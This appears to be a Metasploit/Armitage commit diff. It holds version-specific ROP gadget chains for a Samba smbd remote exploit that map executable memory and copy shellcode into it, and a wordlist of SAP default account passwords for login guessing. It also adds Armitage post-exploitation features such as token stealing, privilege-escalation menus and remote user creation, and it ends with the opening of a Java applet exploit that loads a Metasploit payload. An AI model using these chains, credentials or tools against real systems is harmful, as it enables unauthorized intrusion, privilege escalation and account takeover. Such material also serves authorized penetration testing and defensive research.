<gadget offset="0x0005a44d">add ecx, eax ; mov eax, ecx ; ret || eax = ecx = shellcode</gadget>
|
||||
<gadget offset="0x0006f5a1">pop edx ; inc ebx ; ret || set edx = to dst in memcpy for ret after pushad</gadget>
|
||||
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
|
||||
<gadget offset="0x0006a73f">pop eax ; ret</gadget>
|
||||
<gadget offset="0x0007effc">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x00015e47">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x00062c29">xchg eax, ebx ; ret || ebx = @memcpy</gadget>
|
||||
<gadget offset="0x0001704e">mov eax, ecx ; ret || eax = ecx = src in memcpy</gadget>
|
||||
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x0007ef54">esi = offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
|
||||
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
|
||||
<gadget offset="0x00007a2b">pop edi ; pop ebp ** 1 **; ret</gadget>
|
||||
<gadget offset="0x00004276">(P) pop ebx ; pop esi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1**</gadget>
|
||||
<gadget offset="0x0006200a">pushad ; ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
</rop>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- ROP CHAIN for smbd 2:3.5.11~dfsg-1ubuntu2
|
||||
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x0000f3b1">pop eax; ret</gadget>
|
||||
<gadget offset="0x00991ff0">mmap64@got</gadget>
|
||||
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||
<gadget offset="0x008c8997">jmp eax</gadget>
|
||||
<gadget offset="0x0009ee21">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||
<gadget offset="0x0034fbd2">pop edx ; ret</gadget>
|
||||
<gadget offset="0x0099a000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x0034c2bc">mov dword [edx], eax ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget offset="0x001fc04c">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x000a1d24">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x001e0d59">push esp ; pop ebx ; pop esi ; ret || ebx = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for esi</gadget>
|
||||
<gadget offset="0x0036fd9a">pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x001a73b2">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
|
||||
<gadget offset="0x0008c5ac">pop eax; ret</gadget>
|
||||
<gadget offset="0x00991904">memcpy@got</gadget>
|
||||
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x001726b5">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x006a3bba">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x000b64ec">add esp, 0x4 ; pop esi ; pop edi ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0002ab2c">pushad, ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
ROP CHAIN for smbd 2:3.5.8~dfsg-1ubuntu2
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x0000f445">pop eax; ret</gadget>
|
||||
<gadget offset="0x008c1008">mmap64@got</gadget>
|
||||
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||
<gadget offset="0x0009e8e4">jmp eax</gadget>
|
||||
<gadget offset="0x0009db61">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||
<gadget offset="0x001f6142">pop edx ; ret</gadget>
|
||||
<gadget offset="0x008c9000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00347b8c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x0021d553">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x001b1fe0">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x000e817f">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = esp</gadget>
|
||||
<gadget offset="0x00277540">pop ebp ; ret</gadget>
|
||||
<gadget value ="0x0000003c">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x0011d3a6">add eax, ebp ; mov ebx, 0x81FFF807 ; ret </gadget>
|
||||
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x0000f445">pop eax; ret</gadget>
|
||||
<gadget offset="0x008c0964">memcpy@got</gadget>
|
||||
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x0009ee99">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x00148cc6">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0000dbcf">pushad, ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
-->
|
||||
<!-- ROP CHAIN for smbd 2:3.5.6~dfsg-3squeeze6
|
||||
<compatibility
|
||||
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
|
||||
</compatibility>
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00021cd9">pop eax; ret</gadget>
|
||||
<gadget offset="0x008cf86c">mmap64@got</gadget>
|
||||
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||
<gadget offset="0x000234e5">jmp eax</gadget>
|
||||
<gadget offset="0x000b0331">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||
<gadget offset="0x0001cf12">pop edx ; ret</gadget>
|
||||
<gadget offset="0x008d6000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00353f4c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x000b98e9">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x006bffd2">mov edx, ecx ; mov eax, edx ; pop ebp ; ret || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x003660e4">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x00394107">pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x0017892d">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
|
||||
<gadget offset="0x00021cd9">pop eax; ret</gadget>
|
||||
<gadget offset="0x008cf1e8">memcpy@got</gadget>
|
||||
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0001f666">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x000b9ac5">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x0033e7ea">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x00020453">pushad, ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
-->
|
||||
</db>
|
|
@ -4,37 +4,42 @@ class ConvertBinary < ActiveRecord::Migration
|
|||
class WebPage < ActiveRecord::Base
|
||||
serialize :headers
|
||||
end
|
||||
|
||||
|
||||
class WebVuln < ActiveRecord::Base
|
||||
serialize :params
|
||||
end
|
||||
|
||||
|
||||
def bfilter(str)
|
||||
str = str.to_s
|
||||
str.encoding = 'binary' if str.respond_to?('encoding=')
|
||||
str.gsub(/[\x00\x7f-\xff]/, '')
|
||||
end
|
||||
|
||||
|
||||
def self.up
|
||||
rename_column :web_pages, :body, :body_text
|
||||
rename_column :web_pages, :request, :request_text
|
||||
rename_column :web_vulns, :request, :request_text
|
||||
rename_column :web_vulns, :proof, :proof_text
|
||||
|
||||
|
||||
add_column :web_pages, :body, :binary
|
||||
add_column :web_pages, :request, :binary
|
||||
add_column :web_vulns, :request, :binary
|
||||
add_column :web_vulns, :request, :binary
|
||||
add_column :web_vulns, :proof, :binary
|
||||
|
||||
|
||||
WebPage.find(:all).each { |r| r.body = r.body_text; r.save! }
|
||||
WebPage.find(:all).each { |r| r.request = r.request_text; r.save! }
|
||||
WebVuln.find(:all).each { |r| r.proof = r.proof_text; r.save! }
|
||||
WebVuln.find(:all).each { |r| r.request = r.request_text; r.save! }
|
||||
|
||||
|
||||
remove_column :web_pages, :body_text
|
||||
remove_column :web_pages, :request_text
|
||||
remove_column :web_vulns, :request_text
|
||||
remove_column :web_vulns, :proof_text
|
||||
|
||||
WebPage.connection.schema_cache.clear!
|
||||
WebPage.reset_column_information
|
||||
WebVuln.connection.schema_cache.clear!
|
||||
WebVuln.reset_column_information
|
||||
end
|
||||
|
||||
def self.down
|
||||
|
@ -43,21 +48,25 @@ class ConvertBinary < ActiveRecord::Migration
|
|||
rename_column :web_pages, :request, :request_binary
|
||||
rename_column :web_vulns, :request, :request_binary
|
||||
rename_column :web_vulns, :proof, :proof_binary
|
||||
|
||||
|
||||
add_column :web_pages, :body, :text
|
||||
add_column :web_pages, :request, :text
|
||||
add_column :web_vulns, :request, :text
|
||||
add_column :web_vulns, :proof, :text
|
||||
|
||||
|
||||
WebPage.find(:all).each { |r| r.body = bfilter(r.body_binary); r.save! }
|
||||
WebPage.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! }
|
||||
WebVuln.find(:all).each { |r| r.proof = bfilter(r.proof_binary); r.save! }
|
||||
WebVuln.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! }
|
||||
|
||||
|
||||
remove_column :web_pages, :body_binary
|
||||
remove_column :web_pages, :request_binary
|
||||
remove_column :web_vulns, :request_binary
|
||||
remove_column :web_vulns, :proof_binary
|
||||
|
||||
|
||||
WebPage.connection.schema_cache.clear!
|
||||
WebPage.reset_column_information
|
||||
WebVuln.connection.schema_cache.clear!
|
||||
WebVuln.reset_column_information
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,13 @@
|
|||
class AddOwnerAndPayloadToWebVulns < ActiveRecord::Migration
|
||||
|
||||
def self.up
|
||||
add_column :web_vulns, :owner, :string
|
||||
add_column :web_vulns, :payload, :text
|
||||
end
|
||||
|
||||
def self.down
|
||||
remove_column :web_vulns, :owner
|
||||
remove_column :web_vulns, :payload
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,14 @@
|
|||
SAP* 06071992
|
||||
SAP* PASS
|
||||
DDIC 19920706
|
||||
DDIC Welcome01
|
||||
SAPCPIC ADMIN
|
||||
EARLYWATCH SUPPORT
|
||||
TMSADM PASSWORD
|
||||
TMSADM ADMIN
|
||||
ADMIN welcome
|
||||
ADSUSER ch4ngeme
|
||||
ADS_AGENT ch4ngeme
|
||||
DEVELOPER ch4ngeme
|
||||
J2EE_ADMIN ch4ngeme
|
||||
SAPJSF ch4ngeme
|
|
@ -3,7 +3,7 @@
|
|||
<center><h1>Armitage 1.44</h1></center>
|
||||
|
||||
<p>An attack management tool for Metasploit®
|
||||
<br />Release: 16 Oct 12</p>
|
||||
<br />Release: 26 Nov 12</p>
|
||||
<br />
|
||||
<p>Developed by:</p>
|
||||
|
||||
|
|
|
@ -550,6 +550,11 @@ sub data_delete {
|
|||
call("db.key_clear", $1);
|
||||
}
|
||||
|
||||
# data_clear('key') -- clears all data associated with the specified key
|
||||
sub data_clear {
|
||||
data_delete($1);
|
||||
}
|
||||
|
||||
# data_add('key', $object) -- appends value into the database...
|
||||
sub data_add {
|
||||
local('$buffer $data');
|
||||
|
@ -860,7 +865,7 @@ sub file_content {
|
|||
}
|
||||
else {
|
||||
local('%r');
|
||||
%r = call("armitage.download", $1);
|
||||
%r = call("armitage.download_nodelete", $1);
|
||||
return %r['data'];
|
||||
}
|
||||
}
|
||||
|
|
|
@ -623,6 +623,34 @@ sub host_attack_items {
|
|||
}
|
||||
}
|
||||
|
||||
sub chooseSession {
|
||||
local('@data $sid $data $host $hdata $temp $tablef');
|
||||
|
||||
# obtain a list of sessions
|
||||
foreach $host (keys(%hosts)) {
|
||||
foreach $sid => $data (getSessions($host)) {
|
||||
$temp = copy($data);
|
||||
$temp['sid'] = $sid;
|
||||
push(@data, $temp);
|
||||
}
|
||||
}
|
||||
|
||||
# sort the session data
|
||||
@data = sort({ return $1['sid'] <=> $2['sid']; }, @data);
|
||||
|
||||
# update the table widths
|
||||
$tablef = {
|
||||
[[$1 getColumn: "sid"] setPreferredWidth: 100];
|
||||
[[$1 getColumn: "session_host"] setPreferredWidth: 300];
|
||||
[[$1 getColumn: "info"] setPreferredWidth: 1024];
|
||||
};
|
||||
|
||||
# let the user choose a session
|
||||
quickListDialog("Choose a session", "Select", @("sid", "sid", "session_host", "info"), @data, $width => 640, $height => 240, lambda({
|
||||
[$call : $1];
|
||||
}, $call => $4), \$tablef);
|
||||
}
|
||||
|
||||
sub addFileListener {
|
||||
local('$table $model $actions');
|
||||
($table, $model, $actions) = @_;
|
||||
|
@ -652,33 +680,7 @@ sub addFileListener {
|
|||
$actions["WORDLIST"] = $actions["*FILE*"];
|
||||
|
||||
# set up an action to choose a session
|
||||
$actions["SESSION"] = {
|
||||
local('@data $sid $data $host $hdata $temp $tablef');
|
||||
|
||||
# obtain a list of sessions
|
||||
foreach $host (keys(%hosts)) {
|
||||
foreach $sid => $data (getSessions($host)) {
|
||||
$temp = copy($data);
|
||||
$temp['sid'] = $sid;
|
||||
push(@data, $temp);
|
||||
}
|
||||
}
|
||||
|
||||
# sort the session data
|
||||
@data = sort({ return $1['sid'] <=> $2['sid']; }, @data);
|
||||
|
||||
# update the table widths
|
||||
$tablef = {
|
||||
[[$1 getColumn: "sid"] setPreferredWidth: 100];
|
||||
[[$1 getColumn: "session_host"] setPreferredWidth: 300];
|
||||
[[$1 getColumn: "info"] setPreferredWidth: 1024];
|
||||
};
|
||||
|
||||
# let the user choose a session
|
||||
quickListDialog("Choose a session", "Select", @("sid", "sid", "session_host", "info"), @data, $width => 640, $height => 240, lambda({
|
||||
[$call : $1];
|
||||
}, $call => $4), \$tablef);
|
||||
};
|
||||
$actions["SESSION"] = lambda(&chooseSession);
|
||||
|
||||
# set up an action to pop up a file chooser for different file type values.
|
||||
$actions["RHOST"] = {
|
||||
|
|
|
@ -239,6 +239,23 @@ sub init_menus {
|
|||
dynmenu($top, "Help", 'H', &help_items);
|
||||
|
||||
# setup some global keyboard shortcuts...
|
||||
[$frame bindKey: "Ctrl+I", {
|
||||
thread({
|
||||
chooseSession($null, $null, $null, {
|
||||
local('$session');
|
||||
$session = sessionData($1);
|
||||
if ($session is $null) {
|
||||
showError("Session $1 does not exist");
|
||||
}
|
||||
else if ($session['desc'] eq "Meterpreter") {
|
||||
createMeterpreterTab($1);
|
||||
}
|
||||
else {
|
||||
createShellSessionTab(\$session, $sid => $1);
|
||||
}
|
||||
});
|
||||
});
|
||||
}];
|
||||
[$frame bindKey: "Ctrl+N", { thread(&createConsoleTab); }];
|
||||
[$frame bindKey: "Ctrl+W", { [$frame openActiveTab]; }];
|
||||
[$frame bindKey: "Ctrl+D", { [$frame closeActiveTab]; }];
|
||||
|
|
|
@ -104,13 +104,16 @@ sub parseMeterpreter {
|
|||
}
|
||||
|
||||
sub interpretMeterpreterCommand {
|
||||
if ([$1 getActionCommand] eq "shell") {
|
||||
local('$c');
|
||||
$c = [lc([$1 getActionCommand] . "") trim];
|
||||
|
||||
if ($c eq "shell") {
|
||||
createShellTab($sid);
|
||||
}
|
||||
else if ([$1 getActionCommand] eq "screenshot") {
|
||||
else if ($c eq "screenshot") {
|
||||
[createScreenshotViewer($sid)];
|
||||
}
|
||||
else if ([$1 getActionCommand] eq "webcam_snap") {
|
||||
else if ($c eq "webcam_snap") {
|
||||
[createWebcamViewer($sid)];
|
||||
}
|
||||
}
|
||||
|
@ -168,7 +171,9 @@ sub showMeterpreterMenu {
|
|||
}, $sid => "$sid"));
|
||||
|
||||
item($j, "Escalate Privileges", 'E', lambda({
|
||||
showPostModules($sid, "*escalate*");
|
||||
showPostModules($sid, "*escalate*",
|
||||
ohash(exploit => buildTree(filter({ return iff("*windows/local/*" iswm $1, $1); }, @exploits)))
|
||||
);
|
||||
}, $sid => "$sid"));
|
||||
|
||||
item($j, "Steal Token" , "S", lambda({
|
||||
|
|
|
@ -251,7 +251,7 @@ sub showExploitModules {
|
|||
# shows the post modules compatible with a session... for this to work, the
|
||||
# code that creates the module browser must call: let(&showPostModules, $tree => ..., $search => ...)
|
||||
sub showPostModules {
|
||||
local('@allowed $2');
|
||||
local('@allowed $2 $3');
|
||||
@allowed = getOS(sessionToOS($1));
|
||||
fork({
|
||||
local('$modules %list $model');
|
||||
|
@ -270,7 +270,13 @@ sub showPostModules {
|
|||
$modules = filter(lambda({ return iff($filter iswm $1, $1); }, \$filter), $modules);
|
||||
}
|
||||
|
||||
%list = ohash(post => buildTree($modules));
|
||||
if ($base is $null) {
|
||||
%list = ohash(post => buildTree($modules));
|
||||
}
|
||||
else {
|
||||
%list = $base;
|
||||
%list['post'] = buildTree($modules);
|
||||
}
|
||||
$model = treeNodes($null, %list);
|
||||
|
||||
dispatchEvent(lambda({
|
||||
|
@ -282,7 +288,7 @@ sub showPostModules {
|
|||
}
|
||||
[$search setText: ""];
|
||||
}, \$search, \$tree, \$model));
|
||||
}, \$tree, \$search, $sid => $1, \$client, \@allowed, $filter => $2);
|
||||
}, \$tree, \$search, $sid => $1, \$client, \@allowed, $filter => $2, $base => $3);
|
||||
}
|
||||
|
||||
sub createModuleBrowserTab {
|
||||
|
|
|
@ -96,6 +96,33 @@ sub createCredentialsTab {
|
|||
($dialog, $table, $model) = show_hashes("", 320);
|
||||
[$dialog removeAll];
|
||||
|
||||
addMouseListener($table, lambda({
|
||||
if ([$1 isPopupTrigger]) {
|
||||
local('$popup $entries');
|
||||
$popup = [new JPopupMenu];
|
||||
$entries = [$model getSelectedValuesFromColumns: $table, @("user", "pass", "host")];
|
||||
item($popup, "Delete", 'D', lambda({
|
||||
local('$queue $entry $user $pass $host');
|
||||
$queue = [new armitage.ConsoleQueue: $client];
|
||||
foreach $entry ($entries) {
|
||||
($user, $pass, $host) = $entry;
|
||||
[$queue addCommand: $null, "creds -d $host -u $user -P $pass"];
|
||||
}
|
||||
|
||||
[$queue addCommand: "x", "creds -h"];
|
||||
|
||||
[$queue addListener: lambda({
|
||||
[$queue stop];
|
||||
refreshCredsTable($model, $null);
|
||||
}, \$model, \$queue)];
|
||||
|
||||
[$queue start];
|
||||
[$queue stop];
|
||||
}, \$table, \$model, \$entries));
|
||||
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
|
||||
}
|
||||
}, \$table, \$model));
|
||||
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
|
|
@ -75,7 +75,7 @@ sub createProcessBrowser {
|
|||
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
local('$a $b $bb $c');
|
||||
local('$a $b $bb $bbb $c');
|
||||
$a = [new JButton: "Kill"];
|
||||
[$a addActionListener: lambda({
|
||||
local('$procs $v');
|
||||
|
@ -105,6 +105,15 @@ sub createProcessBrowser {
|
|||
}
|
||||
}, $m => $1, \$table, \$model)];
|
||||
|
||||
$bbb = [new JButton: "Steal Token"];
|
||||
[$bbb addActionListener: lambda({
|
||||
local('$v');
|
||||
$v = [$model getSelectedValue: $table];
|
||||
if ($v !is $null) {
|
||||
m_cmd_callback($m, "steal_token $v", { if ($0 eq "end") { showError(["$2" trim]); } });
|
||||
}
|
||||
}, $m => $1, \$table, \$model)];
|
||||
|
||||
$c = [new JButton: "Refresh"];
|
||||
[$c addActionListener:
|
||||
lambda({
|
||||
|
@ -112,7 +121,7 @@ sub createProcessBrowser {
|
|||
}, $m => $1)
|
||||
];
|
||||
|
||||
[$panel add: center($a, $b, $bb, $c), [BorderLayout SOUTH]];
|
||||
[$panel add: center($a, $b, $bb, $bbb, $c), [BorderLayout SOUTH]];
|
||||
|
||||
[$frame addTab: "Processes $1", $panel, $null, "Processes " . sessionToHost($1)];
|
||||
m_cmd($1, "ps");
|
||||
|
|
|
@ -163,6 +163,10 @@ global('%shells $ashell $achannel %maxq %wait');
|
|||
# make our shell heuristic tolerant of prompts like this.
|
||||
%wait[$achannel] = $null;
|
||||
}
|
||||
else if (size($v) > 0 && $v[-1] ismatch '.*?:') {
|
||||
# make our shell heuristic tolerant of more prompts... this is from the time command
|
||||
%wait[$achannel] = $null;
|
||||
}
|
||||
else if (size($v) > 0 && $v[-1] !ismatch '(.*?):\\\\.*?\\>') {
|
||||
m_cmd($1, "read $achannel");
|
||||
}
|
||||
|
@ -254,7 +258,14 @@ sub showShellMenu {
|
|||
}
|
||||
|
||||
item($1, "Post Modules", 'P', lambda({
|
||||
showPostModules($sid);
|
||||
if ("*Windows*" iswm sessionToOS($sid)) {
|
||||
showPostModules($sid);
|
||||
}
|
||||
else {
|
||||
showPostModules($sid, "*",
|
||||
ohash(exploit => buildTree(filter({ return iff("*u*x/local/*" iswm $1, $1); }, @exploits)))
|
||||
);
|
||||
}
|
||||
}, \$sid));
|
||||
|
||||
separator($1);
|
||||
|
|
|
@ -164,6 +164,21 @@ public class MeterpreterSession implements Runnable {
|
|||
readUntilSuccessful(c, false);
|
||||
return;
|
||||
}
|
||||
else if (c.text.startsWith("add_user") && !teammode) {
|
||||
/* when -h [host] is specified, attempts to add a user on another
|
||||
host. In this case, output is split into multiple chunks.
|
||||
This applies to add_localgroup_user and add_group_user too. */
|
||||
readUntilSuccessful(c, false);
|
||||
return;
|
||||
}
|
||||
else if (c.text.startsWith("add_localgroup_user") && !teammode) {
|
||||
readUntilSuccessful(c, false);
|
||||
return;
|
||||
}
|
||||
else if (c.text.startsWith("add_group_user") && !teammode) {
|
||||
readUntilSuccessful(c, false);
|
||||
return;
|
||||
}
|
||||
|
||||
//System.err.println("(" + session + ") latency: " + (System.currentTimeMillis() - c.start) + " -- " + c.text);
|
||||
|
||||
|
|
|
@ -57,6 +57,13 @@ public class MsgRpcImpl extends RpcConnectionImpl {
|
|||
/* login to msf server */
|
||||
Object[] params = new Object[]{ username, password };
|
||||
Map results = exec("auth.login",params);
|
||||
|
||||
/* save the temp token (lasts for 5 minutes of inactivity) */
|
||||
rpcToken = results.get("token").toString();
|
||||
|
||||
/* generate a non-expiring token and use that */
|
||||
params = new Object[]{ rpcToken };
|
||||
results = exec("auth.token_generate", params);
|
||||
rpcToken = results.get("token").toString();
|
||||
}
|
||||
|
||||
|
|
|
@ -33,10 +33,6 @@ public class KeyBindings implements KeyEventDispatcher {
|
|||
}
|
||||
|
||||
public boolean dispatchKeyEvent(KeyEvent ev) {
|
||||
if (ev.getID() != KeyEvent.KEY_PRESSED) {
|
||||
return false;
|
||||
}
|
||||
|
||||
StringBuffer description = new StringBuffer();
|
||||
if (ev.getModifiers() != 0) {
|
||||
description.append(getKeyModifiers(ev));
|
||||
|
@ -46,9 +42,14 @@ public class KeyBindings implements KeyEventDispatcher {
|
|||
|
||||
synchronized (this) {
|
||||
if (bindings.containsKey(description.toString())) {
|
||||
SwingUtilities.invokeLater(new ExecuteBinding(description.toString(), (KeyHandler)bindings.get(description.toString())));
|
||||
ev.consume();
|
||||
return true;
|
||||
if (ev.getID() != KeyEvent.KEY_PRESSED) {
|
||||
return false;
|
||||
}
|
||||
else {
|
||||
SwingUtilities.invokeLater(new ExecuteBinding(description.toString(), (KeyHandler)bindings.get(description.toString())));
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -1,6 +1,29 @@
|
|||
Armitage Changelog
|
||||
==================
|
||||
|
||||
26 Nov 12 (tested against msf 16114)
|
||||
---------
|
||||
- Windows command shell tab is now friendlier to commands that prompt
|
||||
for input (e.g., time command)
|
||||
- [host] -> Meterpreter -> Access -> Escalate Privileges now shows all
|
||||
the framework's new exploit/windows/local modules too
|
||||
- [host] -> Shell -> Post Modules now shows the framework's unix/local
|
||||
and exploit/linux/local modules
|
||||
- Added Ctrl+I shortcut. Lets you choose a session to interact with.
|
||||
- Added Steal Token button to Processes dialog.
|
||||
- Armitage now asks Metasploit for a non-expiring authentication token.
|
||||
This will prevent Armitage from losing its access to msfrpcd when you
|
||||
put your computer to sleep or pause the VM running Metasploit.
|
||||
- add_user and add_[local]group_user now show all of their output when
|
||||
the -h flag is used to operate on a remote host.
|
||||
- added a Delete menu to creds table. Right-click a cred to delete it
|
||||
|
||||
Cortana Updates (for scripters)
|
||||
--------
|
||||
- aliased &data_delete to &data_clear to match the documentation.
|
||||
- &file_get, &loot_get, and &file_content no longer delete the remote
|
||||
file when connected to a teamserver.
|
||||
|
||||
16 Oct 12 (tested against msf 15972)
|
||||
---------
|
||||
- Added port 5985 to MSF Scans list.
|
||||
|
|
|
@ -0,0 +1,69 @@
|
|||
import java.applet.Applet;
|
||||
import java.io.PrintStream;
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Method;
|
||||
import com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory;
|
||||
import com.sun.org.glassfish.gmbal.util.GenericConstructor;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import metasploit.Payload;
|
||||
//import java.lang.Runtime;
|
||||
|
||||
public class Exploit extends Applet
|
||||
{
|
||||
|
||||
public Exploit()
|
||||
{
|
||||
}
|
||||
|
||||
public byte[] hex2Byte(String str)
|
||||
{
|
||||
byte[] bytes = new byte[str.length() / 2];
|
||||
for (int i = 0; i < bytes.length; i++)
|
||||
{
|
||||
bytes[i] = (byte) Integer
|
||||
.parseInt(str.substring(2 * i, 2 * i + 2), 16);
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
|
||||
